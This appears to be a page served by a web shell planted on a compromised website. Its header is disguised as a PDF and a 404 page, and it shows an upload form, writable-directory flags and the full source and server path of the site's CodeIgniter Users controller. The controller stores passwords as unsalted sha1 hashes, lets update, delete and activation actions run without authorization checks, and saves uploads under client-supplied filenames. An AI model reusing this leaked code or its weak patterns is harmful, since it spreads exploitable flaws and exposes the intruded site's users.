%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/Users.php
<?php

namespace App\Controllers;

use CodeIgniter\Controller;


use App\Models\History_model;
use App\Models\User_Model;
use App\Models\User_Group_Model;

class Users extends BaseController
{
    protected $History;
    protected $session;
    protected $User_Model;
    protected $User_Group_Model;
    protected $Cabang_Model;

    public function __construct()
    {
        $this->History = new History_model();
        $this->User_Model = new User_Model();
        $this->User_Group_Model = new User_Group_Model();
        $this->session = session();
    }

    public function index()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $this->History->save([
            'user_id' => $user_id,
            'username' => $username,
            'name' => $firstname . ' ' . $lastname,
            'kegiatan' => 'Users',
            'jenis_kegiatan' => 'Melihat Daftar Users',
            'tanggal_waktu' => date('Y-m-d H:i:s')
        ]);

        // $this->data_dashboard = new DashboardModel();

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '11',
            'parent_id_submenu' => '',
            'id_menu' => '21',
            'page1' => 'Users',
            'page2' => '',
            'link01' => base_url() . '/users',
            'link02' => '',

            'data_users' => $this->User_Model->get_users()->getResultArray(),
            'componen' => 'theme/BeyondAdmin/halaman/master_data/users/daftar_user'
        );
        echo view('layout', $data);
    }


    // public function addxx()
    // {
    //     $user_id = session()->get('user_id');
    //     $username = session()->get('username');
    //     $firstname = session()->get('firstname');
    //     $lastname = session()->get('lastname');

    //     // $this->History->save([
    //     //     'user_id'    => $user_id,
    //     //     'username'   => $username,
    //     //     'name'       => $firstname.' '.$lastname,
    //     //     'kegiatan'   => 'Dashboard',
    //     //     'jenis_kegiatan'     => 'Login/Dashboard',
    //     //     'tanggal_waktu'  => date('Y-m-d H:i:s')
    //     // ]);

    //     // $this->data_dashboard = new DashboardModel();

    //     $data = array(
    //         'title' => 'MCS - Manajemen Compro System',
    //         'description' => 'Aplikasi MCS - Manajemen Compro System',
    //         'keywords' => 'MCS, Manajemen, Compro',
    //         'author' => 'SSN',
    //         'parent_id_menu' => '2',
    //         'id_menu' => '6',
    //         'page1' => 'Add New User',
    //         'page2' => 'Users',
    //         'link01' => base_url() . '/users/add',
    //         'link02' => base_url() . '/users',
    //         // 'data_member'    => $this->data_dashboard->getjmlMember(),
    //         // 'data_customer'  => $this->data_dashboard->getjmlCustomer(),
    //         // 'data_order'     => $this->data_dashboard->getjmlOrder(),
    //         // 'data_jual'      => $this->data_dashboard->getjmlJual(),
    //         // 'popular_product'   => $this->data_dashboard->popular_product(),
    //         // 'invoice_terbaru'   => $this->data_dashboard->invoice_terbaru(),
    //         'componen' => 'theme/BeyondAdmin/halaman/master_data/users/add_user'
    //     );
    //     echo view('layout', $data);
    // }

    public function add()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();



        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '11',
            'parent_id_submenu' => '',
            'id_menu' => '21',
            'page1' => 'Tambah User',
            'page2' => 'Users ',
            'link01' => base_url() . '/users/add',
            'link02' => base_url() . '/users',
            'first_name' => old('first_name'),
            'last_name' => old('last_name'),
            'phone' => old('phone'),
            'email' => old('email'),
            'username' => old('username'),
            'password' => '',
            'confirm' => '',
            'usergroup_id' => old('usergroup_id'),
            'active' => 0,
            'id' => 0,
            'status' => 'add',
            'url_form' => base_url('users/save'),
            'data_user_groups' => $this->User_Group_Model->get_user_groups()->getResultArray(),

            'componen' => 'theme/BeyondAdmin/halaman/master_data/users/add_user'
        );
        echo view('layout', $data);
    }

    public function edit($id)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');
        $usergroup_id = session()->get('usergroup_id');
        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Edit User',
        //     'jenis_kegiatan'    => 'Edit Data User',
        //     'tanggal_waktu'     => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();
        $dt_users = $this->User_Model->get_detail_users($id)->getResult();

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '11',
            'parent_id_submenu' => '',
            'id_menu' => '21',
            'page1' => 'Edit User',
            'link01' => base_url() . '/users/edit',
            'first_name' => $dt_users[0]->first_name,
            'last_name' => $dt_users[0]->last_name,
            'phone' => $dt_users[0]->phone,
            'email' => $dt_users[0]->email,
            'username' => $dt_users[0]->username,
            'password' => '',
            'confirm' => '',
            'usergroup_id' => $dt_users[0]->usergroup_id,
            'active' => $dt_users[0]->active,
            'id' => $dt_users[0]->id,
            'status' => 'edit',
            'url_form' => base_url('users/update'),
            'data_user_groups' => $this->User_Group_Model->get_user_groups()->getResultArray(),

            'componen' => 'theme/BeyondAdmin/halaman/master_data/users/add_user'
        );
        if ($usergroup_id != 1) {
            $data['page2'] = '';
            $data['link02'] = '';
        } else {
            $data['page2'] = 'Users';
            $data['link02'] = base_url() . '/users';
        }
        echo view('layout', $data);
    }

    public function level($id)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');
        $usergroup_id = session()->get('usergroup_id');

        if ($usergroup_id != 1) {
            return redirect()->to(base_url('home'));
        } else {
            $this->History->save([
                'user_id' => $user_id,
                'username' => $username,
                'name' => $firstname . ' ' . $lastname,
                'kegiatan' => 'Level User',
                'jenis_kegiatan' => 'Melihat Daftar Level User',
                'tanggal_waktu' => date('Y-m-d H:i:s')
            ]);

            // $this->data_dashboard = new DashboardModel();


            $data = array(
                'title' => 'MCS - Manajemen Compro System',
                'description' => 'Aplikasi MCS - Manajemen Compro System',
                'keywords' => 'MCS, Manajemen, Compro',
                'author' => 'SSN',
                'parent_id_menu' => '11',
                'parent_id_submenu' => '',
                'id_menu' => '21',
                'page1' => 'Edit Level Users',
                'page2' => 'Users',
                'link01' => base_url() . '/users/level',
                'link02' => base_url() . '/users',
                'status' => 'edit',
                'url_form' => '',
                'user_id' => $id,
                'dt_user_menu_map' => $this->User_Model->get_user_menu_map($id)->getResult(),

                'componen' => 'theme/BeyondAdmin/halaman/master_data/users/add_users_level'
            );
            echo view('layout', $data);
        }
    }

    public function test()
    {
        $encrypter = \Config\Services::encrypter();
        $plainText = 'jadi password';
        $ciphertext = $encrypter->encrypt($plainText);
        echo $ciphertext . '<br>';

        // Outputs: This is a plain-text message!
        echo $encrypter->decrypt($ciphertext);
    }

    public function save()
    {
        if (
            !$this->validate([
                'first_name' => [
                    'rules' => 'required|min_length[5]',
                    'error' => [
                        'required' => 'Nama first_name Harus diisi'
                    ]
                ],
                'username' => [
                    'rules' => 'required|min_length[3]',
                    'error' => [
                        'required' => 'Nama User Harus diisi'
                    ]
                ],
                'password' => [
                    'rules' => 'required|min_length[6]|max_length[200]',
                    'errors' => [
                        'required' => 'Password Harus diisi minimal 6 maksimal 200 Alphanumeric'
                    ],
                    'confirm' => [
                        'rules' => 'matches[password]',
                        'error' => [
                            'required' => 'Confirm Password harus sama dengan Password'
                        ]
                    ]
                ],
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {

            $active = 0;
            // $this->request->getVar('active');
            if (!is_null($this->request->getVar('active'))) {
                $active = 1;
            }

            //$encrypter = \Config\Services::encrypter();
            //$password  = $encrypter->encrypt($this->request->getVar('password'));
            $password = sha1($this->request->getVar('password'));

            $data = array(

                'first_name' => $this->request->getVar('first_name'),
                'last_name' => $this->request->getVar('last_name'),
                'phone' => $this->request->getVar('phone'),
                'email' => $this->request->getVar('email'),
                'username' => $this->request->getVar('username'),
                'password' => $password,
                'usergroup_id' => $this->request->getVar('usergroup_id'),
                'active' => $active,
            );

            $this->User_Model->save_users($data);

            return redirect()->to(base_url('users'));
        }
    }

    public function update()
    {
        if (
            !$this->validate([
                'first_name' => [
                    'rules' => 'required|min_length[5]',
                    'error' => [
                        'required' => 'Nama first_name Harus diisi'
                    ]
                ],
                'username' => [
                    'rules' => 'required|min_length[3]',
                    'error' => [
                        'required' => 'Nama User Harus diisi'
                    ]
                ],
                'confirm' => [
                    'rules' => 'matches[password]',
                    'error' => [
                        'required' => 'Confirm Password harus sama dengan Password'
                    ]
                ]
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {

            $active = 0;
            if (!is_null($this->request->getVar('active'))) {
                $active = 1;
            }
            $id = $this->request->getVar('id');

            $data = array(
                'first_name' => $this->request->getVar('first_name'),
                'last_name' => $this->request->getVar('last_name'),
                'phone' => $this->request->getVar('phone'),
                'email' => $this->request->getVar('email'),
                'username' => $this->request->getVar('username'),
                'usergroup_id' => $this->request->getVar('usergroup_id'),
                'active' => $active,
            );

            $this->User_Model->update_users($data, $id);

            if (strlen($this->request->getVar('password') > 0)) {
                //$encrypter = \Config\Services::encrypter();
                //$password  = $encrypter->encrypt($this->request->getVar('password'));

                $data = array(
                    //'password'		=> $password,
                    'password' => sha1($this->request->getVar('password')),
                );
                $this->User_Model->update_users($data, $id);
            }

            $setting = $this->request->getVar('setting');

            if ($setting != 1) {
                return redirect()->to(base_url('home'));
            } else {
                return redirect()->to(base_url('users'));
            }

        }
    }

    public function color_theme()
    {
        $id = $this->request->getVar('ids');
        $color_theme = $this->request->getVar('color');
        $data = array(
            'color_theme' => $color_theme,
        );

        $this->User_Model->update_users($data, $id);

        session()->set([
            'color_theme' => $color_theme,
        ]);
        $response = [
            'success' => true,
            'reload_page' => true // Menambahkan informasi untuk me-reload halaman
        ];

        return $this->response->setJSON($response);
    }
    public function edit_photo()
    {
        if (
            !$this->validate([
                'imgupload' => [
                    'rules' => 'max_size[imgupload,2048]|is_image[imgupload]|mime_in[imgupload,image/jpg,image/jpeg,image/pjpeg,image/png,image/x-png]',
                    'error' => [
                        'max_size' => 'ukuran gambar terlalu besar max size (2MB)',
                        'is_image' => 'file yang dipilih tidak valid',
                        'mime_in' => 'gambar tidak valid'
                    ]

                ],
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
        } else {
            $username = session()->get('username');
            $id = session()->get('user_id');

            // var_dump($u_id);
            // var_dump($id);
            //--- cek image ----
            $fileImage = $this->request->getFile('imgupload');
            // var_dump($fileImage);
            $imageLama = $this->request->getVar('sampulLama');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/users/image/" . $tahun . "/" . $username . "/" . $bulan . "/";

            $namaImage = $fileImage->getName();
            // pindahkan gambar
            $fileImage->move($base_root . $folder_image, $namaImage);

            if ($namaImage == null or $namaImage == "") {
                $url_image = null;
            } else {
                if ($imageLama == NULL or $imageLama = '') {
                    $url_image = $folder_image . $namaImage;
                } else {
                    if (substr($namaImage, 0, 9) == substr($folder_image, 0, 9)) {
                        $url_image = $namaImage;
                    } else {
                        $url_image = $folder_image . $namaImage;
                    }
                }
            }
            // var_dump($url_image);
            $data = array(
                'url_image' => $url_image,
            );

            $this->User_Model->update_users($data, $id);

            session()->set([
                'url_image' => $url_image,
            ]);
        }

        return redirect()->to(base_url('home'));
    }

    public function delete($id)
    {
        $data = array(
            'trash' => 1,
        );

        $this->User_Model->update_users($data, $id);

        return redirect()->to(base_url('users'));
    }


    function simpan_active()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'active' => $active,
        );


        $this->User_Model->update_users($data, $id);


    }

    function simpan_active_level()
    {

        $id = $this->request->getVar('ids');
        $user_id = $this->request->getVar('user_id');
        $menu_id = $this->request->getVar('menu_id');
        $active = $this->request->getVar('cek');

        // --- Cek table cys_usergroup_menu_map ---
        $jml = $this->User_Model->cek_user_menu_map($user_id, $menu_id);


        if ($jml >= 1) {

            $data = array(
                'active' => $active,
            );
            $this->User_Model->update_user_level($data, $id);

        } else {
            $data = array(
                'user_id' => $user_id,
                'menu_id' => $menu_id,
                'active' => $active,
                'ubis_id' => '1',
            );

            $this->User_Model->save_user_menu_level($data);

        }


    }

}
?>

WonXd677 Sh3LL